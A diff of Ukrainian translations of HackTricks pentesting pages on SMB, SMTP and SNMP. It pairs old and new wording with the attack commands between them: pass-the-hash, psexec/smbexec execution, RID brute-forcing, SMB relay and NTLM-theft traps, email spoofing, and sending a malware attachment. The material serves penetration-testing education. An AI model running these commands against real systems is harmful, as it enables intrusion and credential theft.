Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш потім можна зламати офлайн або використовувати в [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[Дивіться: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
```
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
## **Порт 139**
_**Мережевий базовий вхідний-вихідний пристрій**_\*\* (NetBIOS)\*\* — це програмний протокол, розроблений для того, щоб дозволити додаткам, ПК та робочим станціям у локальній мережі (LAN) взаємодіяти з мережевим обладнанням та **сприяти передачі даних через мережу**. Ідентифікація та розташування програмних додатків, що працюють у мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
_**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмним протоколом, розробленим для забезпечення взаємодії додатків, ПК та робочих станцій у локальній мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та розташування програмних додатків, що працюють у мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм комунікації між вузлами в мережі.
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів і полегшення різних форм комунікації між вузлами в мережі.
Наприклад, у контексті Windows підкреслюється, що SMB може працювати безпосередньо через TCP/IP, усуваючи необхідність у NetBIOS через TCP/IP, за допомогою використання порту 445. Навпаки, на різних системах спостерігається використання порту 139, що вказує на те, що SMB виконується разом з NetBIOS через TCP/IP.
```
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Перерахунок користувачів, груп та увійшлих користувачів
Цю інформацію вже слід зібрати з enum4linux та enum4linux-ng
Цю інформацію вже повинні збирати з enum4linux та enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -133,13 +133,13 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Перерахунок локальних користувачів
### Перерахувати локальних користувачів
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Однорядковий
Однорядковий код
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Вручну перерахувати спільні ресурси Windows та підключитися до них**
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних спільних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Звичайні імена спільних ресурсів для цілей Windows:
@ -300,11 +300,11 @@ smbclient //<IP>/<share>
### Пошук спільних папок домену
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) спайдер.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) павук.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
@ -350,7 +350,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Виконати команди**
## **Виконання команд**
### **crackmapexec**
@ -380,7 +380,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
Обидва варіанти **створять нову службу** (використовуючи _\pipe\svcctl_ через SMB) на машині жертви і використовують її для **виконання чогось** (**psexec** **завантажить** виконуваний файл до ADMIN$ спільного доступу, а **smbexec** вказуватиме на **cmd.exe/powershell.exe** і передаватиме в аргументах корисне навантаження --**безфайлова техніка-**-).\
**Більше інформації** про [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)та [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
У **kali** він розташований за адресою /usr/share/doc/python3-impacket/examples/
У **kali** він знаходиться за адресою /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
@ -428,12 +428,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації успішна**, вона автоматично перенаправить вас у **системний** **shell**.\
Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації успішна**, ви автоматично потрапите в **системний** **shell**.\
[**Більше інформації про цю атаку тут.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до деякого контенту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися до хоста, коли сторінка намагається отримати доступ до деякого контенту через SMB, наприклад: `img src="\\10.10.10.10\path\image.jpg"`
Це відбувається з функціями:
@ -442,7 +442,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
- URLOpenStream
- URLOpenBlockingStream
Які використовуються деякими браузерами та інструментами (як Skype)
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM Theft
Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш потім можна зламати офлайн або використовувати в [SMB relay attack](#smb-relay-attack).
Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш можна зламати офлайн або використовувати в [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,9 +4,9 @@
## **Основна інформація**
**Протокол простого пересилання пошти (SMTP)** - це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на поштовому сервері та періодично їх завантажувати.
**Протокол простого пересилання пошти (SMTP)** - це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як для їх отримання використовують **POP3 або IMAP**. На системах, що базуються на Unix, **sendmail** є найбільш часто використовуваним SMTP-сервером для електронної пошти. Комерційний пакет, відомий як Sendmail, включає в себе POP3 сервер. Крім того, **Microsoft Exchange** надає SMTP сервер і пропонує можливість включення підтримки POP3.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як **POP3 або IMAP для їх отримання**. На системах на базі Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає POP3-сервер. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
**Порт за замовчуванням:** 25,465(ssl),587(ssl)
```
@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
Якщо у вас є можливість **змусити жертву надіслати вам електронний лист** (наприклад, через контактну форму веб-сторінки), зробіть це, тому що **ви можете дізнатися про внутрішню топологію** жертви, переглянувши заголовки листа.
Ви також можете отримати електронний лист від SMTP сервера, намагаючись **надіслати на цей сервер електронний лист на неіснуючу адресу** (оскільки сервер надішле атакуючому NDN лист). Але переконайтеся, що ви надсилаєте електронний лист з дозволеної адреси (перевірте політику SPF) і що ви можете отримувати NDN повідомлення.
Ви також можете отримати електронний лист від SMTP сервера, намагаючись **надіслати на цей сервер електронний лист на неіснуючу адресу** (оскільки сервер надішле атакуючому лист NDN). Але переконайтеся, що ви надсилаєте електронний лист з дозволеної адреси (перевірте політику SPF) і що ви можете отримувати повідомлення NDN.
Вам також слід спробувати **надіслати різний вміст, оскільки ви можете знайти більш цікаву інформацію** в заголовках, наприклад: `X-Virus-Scanned: by av.domain.com`\
Вам слід надіслати тестовий файл EICAR.\
@ -60,9 +60,9 @@ NTLM supported
```
Або **автоматизуйте** це за допомогою плагіна **nmap** `smtp-ntlm-info.nse`
### Ім'я внутрішнього сервера - Розкриття інформації
### Внутрішнє ім'я сервера - Розкриття інформації
Деякі SMTP сервери автоматично заповнюють адресу відправника, коли команда "MAIL FROM" видається без повної адреси, розкриваючи його внутрішнє ім'я:
Деякі SMTP сервери автоматично заповнюють адресу відправника, коли команда "MAIL FROM" видається без повної адреси, розкриваючи своє внутрішнє ім'я:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -81,13 +81,13 @@ EHLO all
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
```
### Снифінг
### Sniffing
Перевірте, чи можете ви перехопити деякі паролі з пакетів на порт 25
Перевірте, чи можете ви перехопити пароль з пакетів на порт 25
### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp)
## Перебір імен користувачів
## Username Bruteforce Enumeration
**Аутентифікація не завжди потрібна**
@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users <IP>
```
## DSN Reports
**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення).
**Звіти про статус доставки**: Якщо ви надішлете **електронну пошту** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення).
## [Commands](smtp-commands.md)
### Надсилання електронного листа з консолі linux
### Надсилання електронної пошти з консолі linux
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@ -229,15 +229,15 @@ smtp-smuggling.md
Організації запобігають несанкціонованій відправці електронних листів від їх імені, використовуючи **SPF**, **DKIM** та **DMARC** через простоту підробки SMTP повідомлень.
**Повний посібник з цих заходів** доступний за посиланням [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
**Повний посібник з цих заходів** доступний за адресою [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
> [!CAUTION]
> SPF [був "декларований" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\
> Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на зразок `"v=spf1 include:_spf.google.com ~all"`
> Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на кшталт `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) - це механізм, який дозволяє Mail Transfer Agents (MTAs) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
**Sender Policy Framework** (SPF) це механізм, який дозволяє Mail Transfer Agents (MTAs) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
#### Механізми
@ -253,17 +253,17 @@ smtp-smuggling.md
| PTR | Якщо доменне ім'я (PTR запис) для адреси клієнта знаходиться в заданому домені і це доменне ім'я розв'язується до адреси клієнта (попередньо підтверджений зворотний DNS), збігається. Цей механізм не рекомендується і слід уникати, якщо це можливо. |
| EXISTS | Якщо задане доменне ім'я розв'язується до будь-якої адреси, збігається (незалежно від адреси, до якої воно розв'язується). Це рідко використовується. Разом з макромовою SPF пропонує більш складні збіги, такі як DNSBL-запити. |
| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, необхідно використовувати розширення перенаправлення. |
| REDIRECT | <p>Перенаправлення - це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж електронну поштову інфраструктуру.</p><p>Політика SPF домену, вказаного в механізмі перенаправлення, буде використана.</p> |
| REDIRECT | <p>Перенаправлення це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж інфраструктуру електронної пошти.</p><p>Політика SPF домену, вказаного в механізмі перенаправлення, буде використана.</p> |
Також можливо визначити **Кваліфікатори**, які вказують **що слід робити, якщо механізм збігається**. За замовчуванням використовується **кваліфікатор "+"** (тому, якщо будь-який механізм збігається, це означає, що це дозволено).\
Зазвичай ви помітите **в кінці кожної політики SPF** щось на зразок: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
Зазвичай ви помітите **в кінці кожної політики SPF** щось на кшталт: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
#### Кваліфікатори
Кожен механізм у політиці може бути попереджений одним з чотирьох кваліфікаторів для визначення бажаного результату:
- **`+`**: Відповідає результату PASS. За замовчуванням механізми припускають цей кваліфікатор, що робить `+mx` еквівалентним `mx`.
- **`?`**: Представляє результат NEUTRAL, обробляється подібно до NONE (без конкретної політики).
- **`?`**: Представляє результат NEUTRAL, обробляється аналогічно NONE (без конкретної політики).
- **`~`**: Означає SOFTFAIL, служить середнім варіантом між NEUTRAL і FAIL. Електронні листи, які відповідають цьому результату, зазвичай приймаються, але позначаються відповідно.
- **`-`**: Вказує на FAIL, що означає, що електронний лист слід відхилити.
@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
DKIM використовується для підписування вихідних електронних листів, що дозволяє їх валідацію зовнішніми агентами передачі пошти (MTA) через отримання публічного ключа домену з DNS. Цей публічний ключ знаходиться в TXT записі домену. Щоб отримати цей ключ, потрібно знати як селектор, так і ім'я домену.
Наприклад, щоб запитати ключ, ім'я домену та селектор є необхідними. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Наприклад, для запиту ключа необхідні ім'я домену та селектор. Ці дані можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Команда для отримання цієї інформації може виглядати так:
```bash
@ -326,8 +326,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| ----------- | --------------------------------------------- | ------------------------------- |
| v | Версія протоколу | v=DMARC1 |
| pct | Відсоток повідомлень, що підлягають фільтрації | pct=20 |
| ruf | URI звіту для судово-медичних звітів | ruf=mailto:authfail@example.com |
| rua | URI звіту агрегованих звітів | rua=mailto:aggrep@example.com |
| ruf | URI для звітів про форензичні звіти | ruf=mailto:authfail@example.com |
| rua | URI для звітів про агреговані звіти | rua=mailto:aggrep@example.com |
| p | Політика для організаційного домену | p=quarantine |
| sp | Політика для піддоменів ОД | sp=reject |
| adkim | Режим вирівнювання для DKIM | adkim=s |
@ -343,7 +343,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
>
> Якщо я отримую електронну пошту з pielovers.demon.co.uk, і для pielovers немає SPF даних, чи повинен я повернутися на один рівень і перевірити SPF для demon.co.uk? Ні. Кожен піддомен у Demon є різним клієнтом, і кожен клієнт може мати свою власну політику. Не мало б сенсу, щоб політика Demon's застосовувалася до всіх його клієнтів за замовчуванням; якщо Demon хоче це зробити, він може налаштувати SPF записи для кожного піддомену.
>
> Отже, порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис.
> Тож порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис.
>
> Сайти з дикими A або MX записами також повинні мати дикий SPF запис у формі: \* IN TXT "v=spf1 -all"
@ -351,13 +351,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **Відкритий релей**
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що часто виявляється під час оцінки безпеки.
Коли надсилаються електронні листи, важливо забезпечити, щоб вони не були позначені як спам. Це часто досягається за допомогою **релейного сервера, якому довіряє отримувач**. Однак поширеною проблемою є те, що адміністратори можуть не повністю усвідомлювати, які **IP-діапазони безпечні для дозволу**. Ця відсутність розуміння може призвести до помилок у налаштуванні SMTP сервера, що є ризиком, який часто виявляється під час оцінки безпеки.
Обхідний шлях, який деякі адміністратори використовують, щоб уникнути проблем з доставкою електронної пошти, особливо щодо спілкування з потенційними або поточними клієнтами, полягає в тому, щоб **дозволити з'єднання з будь-якої IP-адреси**. Це робиться шляхом налаштування параметра `mynetworks` SMTP сервера для прийняття всіх IP-адрес, як показано нижче:
```bash
mynetworks = 0.0.0.0/0
```
Для перевірки, чи є поштовий сервер відкритим релеєм (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування сервера (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
Для перевірки, чи є поштовий сервер відкритим релеєм (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування на сервері (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -484,8 +484,8 @@ s.sendmail(sender, [destination], msg_data)
- Техніки маніпуляції посиланнями
- Підозрілі (незвичайні) вкладення
- Пошкоджений вміст електронної пошти
- Значення, що використовуються, які відрізняються від заголовків листа
- Наявність дійсного та надійного SSL сертифіката
- Значення, що відрізняються від заголовків листа
- Наявність дійсного та надійного SSL-сертифіката
- Подання сторінки на сайти фільтрації веб-контенту
## Екстракція через SMTP
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, новий лист отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо новий лист отримано користувачем mark.
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримана користувачем mark.
Інші конфігураційні файли:
```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
**SNMP - Simple Network Management Protocol** є протоколом, що використовується для моніторингу різних пристроїв у мережі (таких як маршрутизатори, комутатори, принтери, IoT...).
@ -16,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
Щоб забезпечити роботу доступу SNMP між виробниками та з різними комбінаціями клієнт-сервер, була створена **База управлінської інформації (MIB)**. MIB є **незалежним форматом для зберігання інформації про пристрої**. MIB - це **текстовий** файл, в якому всі запитувані **об'єкти SNMP** пристрою перераховані в **стандартизованій** ієрархії дерева. Він містить принаймні один `Object Identifier` (`OID`), який, крім необхідної **унікальної адреси** та **імені**, також надає інформацію про тип, права доступу та опис відповідного об'єкта.\
Файли MIB написані в `Abstract Syntax Notation One` (`ASN.1`) у форматі ASCII тексту. **MIB не містять даних**, але пояснюють **де знайти яку інформацію** і як вона виглядає, які значення повертаються для конкретного OID або який тип даних використовується.
Файли MIB написані в форматі ASCII тексту `Abstract Syntax Notation One` (`ASN.1`). **MIB не містять даних**, але пояснюють **де знайти яку інформацію** і як вона виглядає, які значення повертаються для конкретного OID або який тип даних використовується.
### OIDs
@ -28,8 +27,8 @@ PORT STATE SERVICE REASON VERSION
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Ви можете **переглядати** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Є деякі **відомі OIDs**, такі як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
Ви можете **перейти** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Є деякі **відомі OIDs**, такі як ті, що всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
### **Приклад OID**
@ -43,10 +42,10 @@ PORT STATE SERVICE REASON VERSION
- 3 це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій.
- 6 це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет.
- 1 це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет.
- 4 це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою.
- 1 це значення позначає, що пристрій виготовлений підприємством або бізнес-структурою.
- 4 це значення визначає, що цей пристрій виготовлено приватною організацією, а не урядовою.
- 1 це значення позначає, що пристрій виготовлено підприємством або бізнес-структурою.
Ці перші шість значень зазвичай однакові для всіх пристроїв і дають вам основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлений урядом.
Ці перші шість значень зазвичай однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлено урядом.
Продовжуючи до наступного набору чисел.
@ -68,18 +67,18 @@ PORT STATE SERVICE REASON VERSION
Існує 2 важливі версії SNMP:
- **SNMPv1**: Основна, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
- **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **шифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
- **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
- **SNMPv3**: Використовує кращу **автентифікацію** і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але буде набагато важче знайти правильні дані, ніж у SNMPv1 і v2).
### Рядки спільноти
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати рядок спільноти у версіях 1 і 2/2c та облікові дані у версії 3.**\
Існує **2 типи рядків спільноти**:
- **`public`** в основному **тільки для читання** функції.
- **`public`** в основному **тільки для читання** функцій.
- **`private`** **Читання/Запис** в загальному.
Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
